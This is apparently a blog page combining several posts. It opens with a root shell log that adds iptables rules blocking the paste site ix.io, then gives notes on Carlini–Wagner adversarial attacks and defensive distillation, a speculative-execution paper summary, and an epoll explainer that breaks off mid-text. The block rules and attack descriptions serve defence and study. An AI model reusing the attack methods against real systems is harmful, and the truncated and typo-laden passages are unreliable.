/usr/share/perl5/Debconf/DbDriver/PackageDir.pm
/usr/share/perl5/Debconf/DbDriver/Pipe.pm
/usr/share/perl5/Debconf/DbDriver/Stack.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   b.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Backup.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Cache.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Copy.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Debug.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/DirTree.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Directory.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/File.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/LDAP.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/PackageDir.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Pipe.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Stack.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /Db.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Backup.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Cache.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Copy.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Debug.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/DirTree.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Directory.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/File.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/LDAP.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/PackageDir.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Pipe.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Stack.pm
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/libraries/DbList.php
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/libraries/DbQbe.php
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/libraries/DbSearch.php
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100000.php
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100100.php                                                                                                                                                                                                                                                      /www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100200.php                                                                                                                                                                                                                                                      /www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100300.php                                                                                                                                                                                                                                                      /www/wwwroot/openwrt.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/MariaDb1027Platform.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/Keywords/MariaDb102Keywords.php                                                                                                                                                                                                                                                     /www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/DefaultDbNameSolutionProvider.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/IncorrectValetDbCredentialsSolutionPr                                                                                                                                                                                                                                                   ovider.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/Solutions/SuggestUsingCorrectDbNameSolution.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/Solutions/UseDefaultValetDbCredentialsSolution.php                                                                                                                                                                                                                                                        /www/wwwroot/openwrt.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbLock.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbStore.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Queue/Failed/DynamoDbFailedJobProvider.php                                                                                                                                                                                                                                                   /www/wwwroot/openwrt.victoryang00.xyz/vendor/monolog/monolog/src/Monolog/Handler/DynamoDbHandler.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/db-dumper/src/DbDumper.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/db-dumper/src/Databases/MongoDb.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/laravel-backup/src/Exceptions/CannotCreateDbDumper.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/laravel-backup/src/Tasks/Backup/DbDumperFactory.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/symfony/http-foundation/Session/Storage/Handler/MongoDbSessionHandler.php                                                                                                                                                                                                                                                     /www/wwwroot/openwrt.victoryang00.xyz/vendor/symfony/http-foundation/Tests/Session/Storage/Handler/MongoDbSessionHandler                                                                                                                                                                                                                                                   Test.php
/www/wwwroot/www.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/MariaDb1027Platform.php
/www/wwwroot/www.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/Keywords/MariaDb102Keywords.php
/www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/DefaultDbNameSolutionProvider.php                                                                                                                                                                                                                                                           /www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/IncorrectValetDbCredentialsSolutionProvid                                                                                                                                                                                                                                                   er.php
/www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/Solutions/SuggestUsingCorrectDbNameSolution.php
/www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/Solutions/UseDefaultValetDbCredentialsSolution.php
/www/wwwroot/www.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbLock.php
/www/wwwroot/www.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbStore.php
/www/wwwroot/www.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Queue/Failed/DynamoDbFailedJobProvider.php
/www/wwwroot/www.victoryang00.xyz/vendor/monolog/monolog/src/Monolog/Handler/DynamoDbHandler.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/db-dumper/src/DbDumper.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/db-dumper/src/Databases/MongoDb.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/laravel-backup/src/Exceptions/CannotCreateDbDumper.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/laravel-backup/src/Tasks/Backup/DbDumperFactory.php
/www/wwwroot/www.victoryang00.xyz/vendor/symfony/http-foundation/Session/Storage/Handler/MongoDbSessionHandler.php
/www/wwwroot/www.victoryang00.xyz/vendor/symfony/http-foundation/Tests/Session/Storage/Handler/MongoDbSessionHandlerTest                                                                                                                                                                                                                                                   .php
root@gaSRHj203877:/etc/init.d# locate DbSecurity
root@gaSRHj203877:/etc/init.d# cd ..
root@gaSRHj203877:/etc# ls
acpi                           environment      libnl-3            pam.conf                 sgml
adduser.conf                   fonts            libpaper.d         pam.d                    shadow
aliases                        fstab            lighttpd           papersize                shadow-
alternatives                   fstab.bak        locale.alias       passwd                   shells
apache2                        fuse.conf        locale.gen         passwd-                  skel
apm                            gai.conf         localtime          perl                     s-nail.rc
apparmor                       ghostscript      logcheck           pki                      sos.conf
apparmor.d                     groff            login.defs         pm                       ssh
apt                            group            logrotate.conf     polkit-1                 ssl
at.deny                        group-           logrotate.d        popularity-contest.conf  subgid
bash.bashrc                    grub.d           lsb-release        ppp                      subgid-
bash_completion                gshadow          ltrace.conf        profile                  subuid
bash_completion.d              gshadow-         machine-id         profile.d                subuid-
bindresvport.blacklist         gss              magic              protocols                sudoers
binfmt.d                       hdparm.conf      magic.mime         python                   sudoers.d
bt_lib.lock                    host.conf        mail               python2.7                sysctl.conf
byobu                          hostname         mailcap            python3                  sysctl.conf.dpkg-old                                                                                                                                                                                                                                                           ca-certificates                hosts            mailcap.order      python3.5                sysctl.d
ca-certificates.conf           hosts.allow      manpath.config     python3.6                sysstat
ca-certificates.conf.dpkg-old  hosts.deny       mime.types         rc0.d                    systemd
calendar                       ImageMagick-6    mke2fs.conf        rc1.d                    terminfo
console-setup                  init             modprobe.d         rc2.d                    thermald
containerd                     init.d           modules            rc3.d                    timezone
cron.d                         initramfs-tools  modules-load.d     rc4.d                    tmpfiles.d
cron.daily                     inputrc          motd               rc5.d                    ucf.conf
cron.hourly                    insserv          mtab               rc6.d                    udev
cron.monthly                   insserv.conf     my.cnf             rc.local                 ufw
crontab                        insserv.conf.d   mysql              rcS.d                    updatedb.conf
cron.weekly                    iproute2         nanorc             resolvconf               update-manager
cryptsetup-initramfs           iscsi            netplan            resolv.conf              update-motd.d
crypttab                       issue            network            rmt                      update-notifier
dbus-1                         issue.net        NetworkManager     rpc                      vim
debconf.conf                   kernel           networks           rsyslog.conf             vmware-tools
debian_version                 kernel-img.conf  newt               rsyslog.d                vtrgb
default                        ldap             nscd.conf          screenrc                 wgetrc
deluser.conf                   ld.so.cache      nsswitch.conf      securetty                X11
depmod.d                       ld.so.conf       ntp.conf           security                 xdg
dhcp                           ld.so.conf.d     ntp.conf.dpkg-old  selinux                  xml
docker                         legal            opt                sensors3.conf            zlibc.conf
dpkg                           letsencrypt      os-release         sensors.d                zmap
emacs                          libaudit.conf    overlayroot.conf   services                 zsh_command_not_found                                                                                                                                                                                                                                                          root@gaSRHj203877:/etc# cd r
rc0.d/      rc2.d/      rc4.d/      rc6.d/      resolvconf/
rc1.d/      rc3.d/      rc5.d/      rcS.d/      rsyslog.d/
root@gaSRHj203877:/etc# cd rc1.d/
root@gaSRHj203877:/etc/rc1.d# ld
ld: no input files
root@gaSRHj203877:/etc/rc1.d# ls
K01bt         K01redis     K02docker      K02nscd        K02open-vm-tools  K02thermald  K03iscsid   S02killprocs
K01nginx      K02arp-bind  K02irqbalance  K02ntp         K02php-fpm-72     K02ufw       K05rsyslog  S05single
K01pure-ftpd  K02atd       K02mysql       K02open-iscsi  K02sendmail       K02uuidd     README
root@gaSRHj203877:/etc/rc1.d# firewa;;-cmd --list-ports
-su: syntax error near unexpected token `;;'
root@gaSRHj203877:/etc/rc1.d# firewall-cmd --list-ports

Command 'firewall-cmd' not found, but can be installed with:

apt install firewalld

root@gaSRHj203877:/etc/rc1.d# apt install firewalld
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package firewalld
root@gaSRHj203877:/etc/rc1.d# ping https://lannis.cn/
ping: https://lannis.cn/: Name or service not known
root@gaSRHj203877:/etc/rc1.d# ping lannis.cn
PING lannis.cn (139.159.232.87) 56(84) bytes of data.
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=1 ttl=54 time=2.45 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=2 ttl=54 time=2.12 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=3 ttl=54 time=2.08 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=4 ttl=54 time=2.04 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=5 ttl=54 time=2.19 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=6 ttl=54 time=2.15 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=7 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=8 ttl=54 time=2.09 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=9 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=10 ttl=54 time=2.15 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=11 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=12 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=13 ttl=54 time=2.13 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=14 ttl=54 time=2.09 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=15 ttl=54 time=2.12 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=16 ttl=54 time=2.15 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=17 ttl=54 time=2.08 ms
^C
--- lannis.cn ping statistics ---
17 packets transmitted, 17 received, 0% packet loss, time 16017ms
rtt min/avg/max/mdev = 2.048/2.138/2.450/0.103 ms
root@gaSRHj203877:/etc/rc1.d# htop
root@gaSRHj203877:/etc/rc1.d# cat /etc/
Display all 206 possibilities? (y or n)
root@gaSRHj203877:/etc/rc1.d# cat /etc/h
hdparm.conf  host.conf    hostname     hosts        hosts.allow  hosts.deny
root@gaSRHj203877:/etc/rc1.d# cat /etc/h
hdparm.conf  host.conf    hostname     hosts        hosts.allow  hosts.deny
root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts
hosts        hosts.allow  hosts.deny
root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts.deny

root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts.allow

root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts.deny

root@gaSRHj203877:/etc/rc1.d# nano /etc/hosts.deny
root@gaSRHj203877:/etc/rc1.d# iptables -I INPUT -s http://ix.io/1K8E -j DROP
iptables v1.6.1: invalid mask `1K8E' specified
Try `iptables -h' or 'iptables --help' for more information.
root@gaSRHj203877:/etc/rc1.d# iptables -I INPUT -s http://ix.io/ -j DROP
iptables v1.6.1: invalid mask `' specified
Try `iptables -h' or 'iptables --help' for more information.
root@gaSRHj203877:/etc/rc1.d# iptables -I INPUT -s ix.io -j DROP
root@gaSRHj203877:/etc/rc1.d# -I OUTPUT -p tcp -m string --string "ix.io" --algo bm -j DROP
-I: command not found
root@gaSRHj203877:/etc/rc1.d# iptables -I OUTPUT -p tcp -m string --string "ix.io" --algo bm -j DROP
root@gaSRHj203877:/etc/rc1.d# htop
root@gaSRHj203877:/etc/rc1.d# C

又见一篇 Berkeley 论文 Towards Evaluating the Robustness of Neural Networks

[latexpage]

在之前的 adversarial example 框架下,赵博又让我把模型转化成pb格式给这个论文转化的工具用,应该是之前的 baseline 跑数据太稳定了。

感谢这次学长给我的这个锅还是非常轻松的,因为这周去找高中同学吃饭,又和老婆玩,实在没时间,ddl太多。还得复习。

credit:https://blog.csdn.net/kearney1995/article/details/79904095

由于之前提出的防御性蒸馏实际上是一种"梯度遮蔽"的方法,作者也给出了防御性蒸馏有效性的解释。这里所说的蒸馏学习是原先hinton提出用来减少模型复杂度并且不会降低泛化性能的方法,具体就是在指定温度下,先训练一个教师模型,再将教师模型在数据集上输出的类别概率标记作为软标签训练学生模型。而在防御蒸馏模型中,选择两个相同的模型作为教师模型和学生模型。 

具体过程:

1、 先用硬标签训练教室模型,在文中的例子就是假设温度为T,则教室模型的Softmax层输出F(X)就是

\begin{equation}\nonumber F(X)=\Big[{e^{z_i(X)/T} \over {\sum_{l=0}^{N-1} e^{z_l(X)/T}}} \Big]_{i \in 0 \dots N-1} \end{equation}

再此基础上应用交叉熵损失训练模型。


2、然后用教师模型输出类别概率F(X)(注意,这里还是保持了温度T)实际上,这和T=1,即普通情况下训练模型,并没有什么太大区别,但我们还是与原文保持一致。

3、对于学生模型,我们还是利用温度T下的输出F(X)计算交叉熵损失函数,不过类别标签应用之前教师模型输出的软标签,进而进行训练。 对于使用软标签带来的好处,主要在于使用软标签F(X)使得神经网络能够在概率向量中找到的附加知识。 这个额外的熵编码了类之间的相对差异。 例如,在手写数字识别的背景下,给定一些手写数字的图像X,模型F可以评估数字7到F7(X)=0.6的概率以及标签1到F1(X)=0.4的概率,这表明7和1之间有一些结构相似性。

4、对于模型的预测输出,我们反而将温度T降为1,从而以高置信度来预测未知输入的类别。 实际上我们根本不需要前面的教师模型,只需要将F(X)作为神经网络的输出来最小化交叉熵损失函数既可以达到防御FGSM和JSMA的攻击。
  作者也对防御蒸馏的有效性进行的分析,对softmax层的输出求梯度可以很容易的得出:

\begin{equation}\nonumber \begin{aligned} {\partial F_i(X) \over \partial X_j}\Big|_T &= {\partial \over \partial X_j} \Big({e^{z_i/T} \over \sum_{l=0}^{N-1} e^{z_l/T}} \Big) \\ &= {1 \over g^2(X)} \Big({\partial e^{z_i(X)/T} \over \partial X_j}g(X)-e^{z_i(X)/T}{\partial g(X) \over \partial X_j} \Big) \\ &={1 \over g^2(X)}{e^{z_i/T} \over T}\Big(\sum_{l=0}^{N-1}{\partial z_i \over \partial X_j}e^{z_l/T}-\sum_{l=0}^{N-1}{\partial z_l \over \partial X_j}e^{z_l/T}\Big) \\ &={1 \over T}{e^{z_i/T} \over g^2(X)} \Big(\sum_{l=0}^{N-1}\big({\partial z_i \over \partial X_j}-{\partial z_l \over \partial X_j}\big) e^{z_l/T} \Big) \end{aligned} \end{equation}

这种攻击针对的就是LSTM法所做的优化,实际上完全无法攻击JSMA,C&W在优化后成功攻击该防御模型,若对防御蒸馏攻击的softmax的输出做梯度,得到的是零。所以这个操作的本质就是梯度遮蔽。

EAD: Elastic-Net Attacks to Deep Neural Networks via Adversarial Examples

中提到的就是Carlini & Wagner的一些新的改进

\begin{equation}\nonumber f(\boldsymbol{x},t) = \max \{\max_{j \neq t}[Logit(\boldsymbol{x})]_j - [Logit(\boldsymbol{x})]_t,-k\} \end{equation}

改变的目标函数依然没有变化。主要是加入了L1和L2弹性网络正则化项,之后只要做优化就OK

\begin{equation}\nonumber \begin{aligned} & \min_\boldsymbol{x} c \cdot f(\boldsymbol{x},t) + \beta ||\boldsymbol{x}-\boldsymbol{x}_0||_1 + ||\boldsymbol{x}-\boldsymbol{x}_0||_2^2 \\ & \text{s.t.} \quad \boldsymbol{x} \in [0,1]^p \end{aligned} \end{equation}

接下来就是数学问题了。

回归题目

作者也给出了防御性蒸馏有效性的解释,详见之前关于防御性蒸馏的文章,和那里面说的一样;不过关于jsma中选择像素对来进行修改的方法,作者做出了不一样的解释:
  假设softmax层最小的输入为-100,那么softmax层的对于该输入的输出为0,即使增加了10,由-100变成了-90,仍然为0,显然这对输出没有什么影响。而如果softmax层最大的输入为10,将其更改为了0,显然这会使得输出产生巨大的变化。而JSMA的攻击方式并不会考虑从0到10和从-100到-90的不同,他是一视同仁的。
 而在蒸馏训练之后,会使得这样的不同放大。假设输出类向量为:[ -674.3225 , -371.59705 , -177.78831 , 562.87225 ,-1313.5781 , 998.18207 , -886.97107 , -511.58194 ,-126.719666, -43.129272]。要改变类别实际上只需要第四个数比第六个数大即可(即562增长,998下降)。但是JSMA会由于增长562会使得例如-1313,-886的数增加很多而放弃。这实际上是算法本身的问题。
 要攻击防御性蒸馏模型实际上很简单,只需要不考虑这些其他的类向量值,只考虑需要超过的类向量和自身的类向量值即可,甚至可以只关注增加自身的类向量。
 因此作者Nicholas Carlini和David Wagner提出了一系列能够改变类向量的目标函数:

\begin{equation}\nonumber \begin{aligned} f_1(x') &= -loss_{F,t}(x')+1 \\ f_2(x') &= (max_{i \neq t} (F(x')_i) - F(x')_t)^+ \\ f_3(x') &= softplus(max_{i \neq t} (F(x')_i) - F(x')_t) -log(2) \\ f_4(x') &= (0.5 - F(x')_t)^+ \\ f_5(x') &= -\log(2F(x')_t -2) \\ f_6(x') &= (max_{i \neq t} (Z(x')_i) - Z(x')_t)^+ \\ f_7(x') &= softplus(max_{i \neq t}Z(x')_i) - Z(x')_t) - log(2) \end{aligned} \end{equation}

由组会引发的顶会浏览

组会开的是这篇文章看到今年的 MICRO2019 华为仍是最大赞助商之一,我就放心了,学术界是没有国界的这句话在绝大多数情况下都是使用的。

来看看这篇论文,来自UIUC的Mengjia Yan,会议在日本(有点想去)。

首先是预测,cpu需要通过既有个个进程的资源占用率来预测未来分配,以减少不当分派带来的 fairness between threads & security maliciousness 。同时,有些线程( OS 上多了)或程序跑到某一时间段后从安全态到了非安全态或切换状态的时候会影响调度结果,所以 CPU scheduler 也会预测各个分支。现在工业界主要的方法是启发式的预测方法,这比 OS 课上习得的 FCFS、SJF、SRFS 以及古老的RR要性能好。

文章中提到了一个幽灵漏洞的 naïve version 的攻击方式,叫 speculative execution attacks 。假设 Cache will point to the place in drive (这里的 Cache 上不一定存数据,可能是映射到另外一个地址空间),那就提出一个新的 cache 区域作为 buffer ,经过 LLC 后放在 Cache 上。读入一遍后,只要看速度就能得出漏洞可能存在的位置。

P.S.赵博提出一个问题:读的时候数据会擦除下一位的数据留在 cache ,实际上是由 LLC 部分编程去除解决的。但因为是比较 naive 的算法的,大不了扫100次,再比较之。

[I/O多路复用]Select Poll & Epoll Part2

转载自 https://www.jianshu.com/p/397449cadc9a

前面大概提了一下在 network 中如何通过阻塞及同步异步还有多路复用来实现 I/O,现在终于可以讲到世纪linux中是如何使用API来实现I/O模型的. 这对比Operating书来说要实际和有意义.

blocking IO - 阻塞IO & nonblocking IO - 非阻塞IO & IO multiplexing - IO多路复用 & signal driven IO - 信号驱动IO 都可以归类为synchronous IO - 同步IO,而select、poll、epoll本质上也都是同步I/O,因为他们都需要在读写事件就绪后自己负责进行读写,也就是说这个读写过程是阻塞的。

与多进程和多线程技术相比,I/O多路复用技术的最大优势是系统开销小,系统不必创建进程/线程,也不必维护这些进程/线程,从而大大减小了系统的开销。

在介绍select、poll、epoll之前,首先介绍一下Linux操作系统中基础的概念

  • 用户空间 / 内核空间
    现在操作系统都是采用虚拟存储器,那么对32位操作系统而言,它的寻址空间(虚拟存储空间)为4G(2的32次方)。
    操作系统的核心是内核,独立于普通的应用程序,可以访问受保护的内存空间,也有访问底层硬件设备的所有权限。为了保证用户进程不能直接操作内核(kernel),保证内核的安全,操作系统将虚拟空间划分为两部分,一部分为内核空间,一部分为用户空间。
  • 进程切换
    为了控制进程的执行,内核必须有能力挂起正在CPU上运行的进程,并恢复以前挂起的某个进程的执行。这种行为被称为进程切换。因此可以说,任何进程都是在操作系统内核的支持下运行的,是与内核紧密相关的,并且进程切换是非常耗费资源的。
  • 进程阻塞
    正在执行的进程,由于期待的某些事件未发生,如请求系统资源失败、等待某种操作的完成、新数据尚未到达或无新工作做等,则由系统自动执行阻塞原语(Block),使自己由运行状态变为阻塞状态。可见,进程的阻塞是进程自身的一种主动行为,也因此只有处于运行态的进程(获得了CPU资源),才可能将其转为阻塞状态。当进程进入阻塞状态,是不占用CPU资源的。
  • 文件描述符
    文件描述符(File descriptor)是计算机科学中的一个术语,是一个用于表述指向文件的引用的抽象化概念。
    文件描述符在形式上是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。在程序设计中,一些涉及底层的程序编写往往会围绕着文件描述符展开。但是文件描述符这一概念往往只适用于UNIX、Linux这样的操作系统。
  • 缓存I/O
    缓存I/O又称为标准I/O,大多数文件系统的默认I/O操作都是缓存I/O。在Linux的缓存I/O机制中,操作系统会将I/O的数据缓存在文件系统的页缓存中,即数据会先被拷贝到操作系统内核的缓冲区中,然后才会从操作系统内核的缓冲区拷贝到应用程序的地址空间。

述符数量,返回0表示超时,返回-1表示出错;

Epoll

epoll在Linux2.6内核正式提出,是基于事件驱动的I/O方式,相对于select来说,epoll没有描述符个数限制,使用一个文件描述符管理多个描述符,将用户关心的文件描述符的事件存放到内核的一个事件表中,这样在用户空间和内核空间的copy只需一次。

Linux中提供的epoll相关函数如下:

int epoll_create(int size);
int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event);
int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);

1. epoll_create 函数创建一个epoll句柄,参数size表明内核要监听的描述符数量。调用成功时返回一个epoll句柄描述符,失败时返回-1。

2. epoll_ctl 函数注册要监听的事件类型。四个参数解释如下:

  • epfd 表示epoll句柄
  • op 表示fd操作类型,有如下3种
    • EPOLL_CTL_ADD 注册新的fd到epfd中
    • EPOLL_CTL_MOD 修改已注册的fd的监听事件
    • EPOLL_CTL_DEL 从epfd中删除一个fd
  • fd 是要监听的描述符
  • event 表示要监听的事件

epoll_event 结构体定义如下:

struct epoll_event {
    __uint32_t events;  /* Epoll events */
    epoll_data_t data;  /* User data variable */
};

typedef union epoll_data {
    void *ptr;
    int fd;
    __uint32_t u32;
    __uint64_t u64;
} epoll_data_t;

3. epoll_wait 函数等待事件的就绪,成功时返回就绪的事件数目,调用失败时返回 -1,等待超时返回 0。

  • epfd 是epoll句柄
  • events 表示从内核得到的就绪事件集合
  • maxevents 告诉内核events的大小
  • timeout 表示等待的超时事件

epoll是Linux内核为处理大批量文件描述符而作了改进的poll,是Linux下多路复用IO接口select/poll的增强版本,它能显著提高程序在大量并发连接中只有少量活跃的情况下的系统CPU利用率。原因就是获取事件的时候,它无须遍历整个被侦听的描述符集,只要遍历那些被内核IO事件异步唤醒而加入Ready队列的描述符集合就行了。

